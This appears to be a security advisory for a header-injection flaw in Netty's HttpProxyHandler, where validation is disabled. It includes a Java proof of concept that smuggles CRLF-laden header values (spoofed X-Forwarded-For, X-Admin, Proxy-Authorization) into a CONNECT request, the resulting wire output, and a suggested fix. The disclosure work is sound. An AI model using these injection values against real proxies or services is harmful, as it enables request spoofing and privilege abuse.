Netty HttpProxyHandler CVE-2026-42578

// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
    // ...
    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
        .withValidation(false);  // <-- VALIDATION EXPLICITLY DISABLED

    FullHttpRequest req = new DefaultFullHttpRequest(
        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

    req.headers().set(HttpHeaderNames.HOST, hostHeader);

    if (authorization != null) {
        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
    }

    if (outboundHeaders != null) {
        req.headers().add(outboundHeaders);  // <-- USER HEADERS ADDED WITHOUT VALIDATION
    }

    return req;
}

HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput);  // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);

CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4=    <-- INJECTED

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

=== Netty HttpProxyHandler Header Injection PoC ===

[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
  Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
  Header accepted: YES (validation disabled!)
  Wire format:
    CONNECT target.com:443 HTTP/1.1\r
    host: target.com:443\r
    X-Forwarded-For: 1.2.3.4\r
    X-Forwarded-For: 127.0.0.1\r          <-- INJECTED
    X-Admin: true\r                        <-- INJECTED
    \r

  Injected X-Admin header in wire: true
  VULNERABLE: YES

[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
  With validation=true:
    SAFE: Rejected - IllegalArgumentException
  With validation=false:
    VULNERABLE: Accepted CRLF in header value!
    Stored value contains CRLF: true

// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();

if (outboundHeaders != null) {
    for (Map.Entry<String, String> entry : outboundHeaders) {
        HttpUtil.validateHeaderValue(entry.getValue());
    }
    req.headers().add(outboundHeaders);
}